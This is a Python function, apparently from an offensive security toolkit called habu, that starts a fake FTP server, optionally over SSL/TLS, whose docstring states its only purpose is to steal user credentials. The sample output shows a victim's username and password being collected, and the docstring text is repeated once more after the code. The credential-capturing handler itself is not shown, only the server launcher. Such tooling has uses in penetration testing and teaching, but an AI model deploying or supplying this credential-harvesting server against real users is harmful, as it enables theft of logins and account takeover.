def cmd_server_ftp(address, port, enable_ssl, ssl_cert, ssl_key, verbose):
    """Basic fake FTP server, whith the only purpose to steal user credentials.

    Supports SSL/TLS.

    Example:

    \b
    # sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
    Listening on port 21
    Accepted connection from ('192.168.0.27', 56832)
    Credentials collected from 192.168.0.27! fabian 123456
    """

    ssl_context = None

    if enable_ssl:

        if not (ssl_cert and ssl_key):
            print('Please, specify --ssl-cert and --ssl-key to enable SSL/TLS')
            return False

        ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
        ssl_context.check_hostname = False
        ssl_context.load_cert_chain(ssl_cert, ssl_key)

    loop = asyncio.get_event_loop()
    coro = loop.create_server(ServerFTP, host=address, port=port, ssl=ssl_context, reuse_address=True, reuse_port=True)
    server = loop.run_until_complete(coro)
    drop_privileges()

    print('Listening on port {}'.format(port))

    try:
        loop.run_forever()
    finally:
        server.close()

    loop.close()
Basic fake FTP server, whith the only purpose to steal user credentials.

    Supports SSL/TLS.

    Example:

    \b
    # sudo habu.server.ftp --ssl --ssl-cert /tmp/cert.pem --ssl-key /tmp/key.pem
    Listening on port 21
    Accepted connection from ('192.168.0.27', 56832)
    Credentials collected from 192.168.0.27! fabian 123456